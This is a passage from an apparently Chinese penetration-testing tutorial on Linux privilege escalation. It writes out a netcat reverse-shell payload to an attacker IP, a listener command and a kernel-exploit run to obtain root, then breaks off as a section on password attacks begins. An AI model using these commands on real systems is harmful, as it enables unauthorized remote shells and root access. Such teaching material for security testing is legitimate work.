22、渗透测试中的权限提升与密码攻击工具

渗透测试中的权限提升与密码攻击工具

在渗透测试领域，权限提升和密码攻击是两个关键环节。下面将详细介绍相关的技术和工具。

1. 权限提升实践

在实际渗透测试中，若已知 PID 为 2390，为了测试漏洞利用程序，可设置一台与目标具有相同内核版本的测试机。通过信息收集发现目标机器安装了 Netcat，我们可以利用它实现权限提升。
- 步骤如下 ：
1. 保存有效负载 ：将有效负载保存到名为 run 的文件中，使用以下命令：

echo '#!/bin/bash' > run 
echo '/bin/netcat -e /bin/bash 192.168.56.101 31337' >> run

2. **启动 Netcat 监听器**：在攻击机上启动 Netcat 监听器，命令如下：

nc -vv -l -p 31337

3. **运行漏洞利用程序**：使用所需参数运行漏洞利用程序：

./privs 2390

执行 whoami 命令后，若显示为 root，则说明成功提升了权限。

2. 认证类型与密码攻击方式

2.